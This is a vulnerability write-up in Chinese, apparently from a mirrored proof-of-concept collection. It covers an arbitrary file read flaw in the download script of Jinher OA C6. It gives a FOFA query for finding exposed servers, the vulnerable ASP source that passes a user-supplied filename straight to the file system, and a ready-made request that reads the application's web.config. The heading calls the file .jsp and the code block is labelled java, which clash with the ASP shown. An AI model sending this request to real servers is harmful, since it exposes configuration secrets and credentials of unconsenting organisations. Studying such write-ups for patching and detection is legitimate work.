mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 20:36:14 +00:00
131 lines
4.1 KiB
Markdown
131 lines
4.1 KiB
Markdown
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# 金和OA C6 download.jsp 任意文件读取漏洞
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## 漏洞描述
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金和OA C6 download.jsp文件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息
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## 漏洞影响
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```
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金和OA
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```
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## FOFA
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```
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app="Jinher-OA"
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```
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## 漏洞复现
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登录页面如下
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漏洞文件为 download.asp
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```java
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<%
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Response.Buffer = true
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Response.Clear
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dim url
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Dim fso,fl,flsize
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dim Dname
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Dim objStream,ContentType,flName,isre,url1
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'*********************************************调用时传入的下载文件名
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Dname=trim(request("filename"))
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'******************************************************************
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If Dname<>"" Then
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'******************************下载文件存放的服务端目录
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url=server.MapPath(Dname)
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'url=server.MapPath("./")&"\Jhsoft.Web.module\testbill\dj"&Dname '这边做了一下改动By Fanshui
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'***************************************************
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End If
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'Response.write url
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'response.end
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Set fso=Server.CreateObject("Scripting.FileSystemObject")
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Set fl=fso.getfile(url)
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flsize=fl.size
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flName=fl.name
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Set fl=Nothing
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Set fso=Nothing
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'Response.write flName
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'Response.write flsize
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%>
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<%
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Set objStream = Server.CreateObject("ADODB.Stream")
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'objStream.Mode = 3
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objStream.Type = 1
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objStream.Open
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objStream.LoadFromFile url
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Select Case lcase(Right(flName, 4))
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Case ".asf"
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ContentType = "video/x-ms-asf"
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Case ".avi"
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ContentType = "video/avi"
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Case ".doc"
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ContentType = "application/msword"
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Case ".zip"
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ContentType = "application/zip"
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Case ".xls"
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ContentType = "application/vnd.ms-excel"
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Case ".gif"
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ContentType = "image/gif"
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Case ".jpg", "jpeg"
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ContentType = "image/jpeg"
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Case ".wav"
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ContentType = "audio/wav"
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Case ".mp3"
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ContentType = "audio/mpeg3"
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Case ".mpg", "mpeg"
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ContentType = "video/mpeg"
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Case ".rtf"
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ContentType = "application/rtf"
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Case ".htm", "html"
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ContentType = "text/html"
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Case ".txt"
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ContentType = "text/plain"
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Case Else
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ContentType = "application/octet-stream"
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End Select
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Response.AddHeader "Content-Disposition", "attachment; filename=" & flName
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Response.AddHeader "Content-Length", flsize
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Response.Charset = "UTF-8"
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Response.ContentType = ContentType
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Response.BinaryWrite objStream.Read
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Response.Flush
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response.Clear()
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objStream.Close
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Set objStream = Nothing
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%>
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```
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请求的POC为
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```plain
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/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
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```
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读取 web.config
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```plain
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/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
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```
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